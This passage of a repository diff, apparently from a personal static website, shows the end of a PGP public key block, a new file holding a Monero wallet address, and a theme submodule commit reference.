CAeIeAQYFgoAIBYhBBUw9RMqEihXjStBaJle/VwbUys+BQJmUIgzAhsMAAoJEJle
/VwbUys+ylQA/RDoFx/nA6mtsUtNP+Q6aNyesa2xJE40wNwuuq3Uv4uqAP9LnfbN
DmTPRE03SVffrO/bbMnvdMTY9z6v1/4Z9XOEA7gzBGZQiLwWCSsGAQQB2kcPAQEH
QPRzZRnfUwyki8cJZMpKzrVfVslj4s+vmER6PvIxiWpuiHgEGBYKACAWIQQVMPUT
KhIoV40rQWiZXv1cG1MrPgUCZlCIvAIbIAAKCRCZXv1cG1MrPiUmAQDRzbi7Giwq
qNj2cJELpqq3jRYf99wRRuWNAhnTfYaI6QEAyVslGqgrG0iQZvYJi+I1dqTrqKZv
UjtNoI9Z/tpVBQ4=
=WDh4
-----END PGP PUBLIC KEY BLOCK-----

1
static/xmr.txt Normal file
View File

@ -0,0 +1 @@
83B5pKorh2J58RZvF3oyxhZcxpbYnpRDCcQeETzhSKUZFvyHRWmMzepeg5NksY6f1DcCfUtQ6wphF3x3cT4bhXvWSFHe23Y

1
themes/thunderball Submodule

@ -0,0 +1 @@
Subproject commit 8bceb38e4501439420bdbc0c889de446852f1357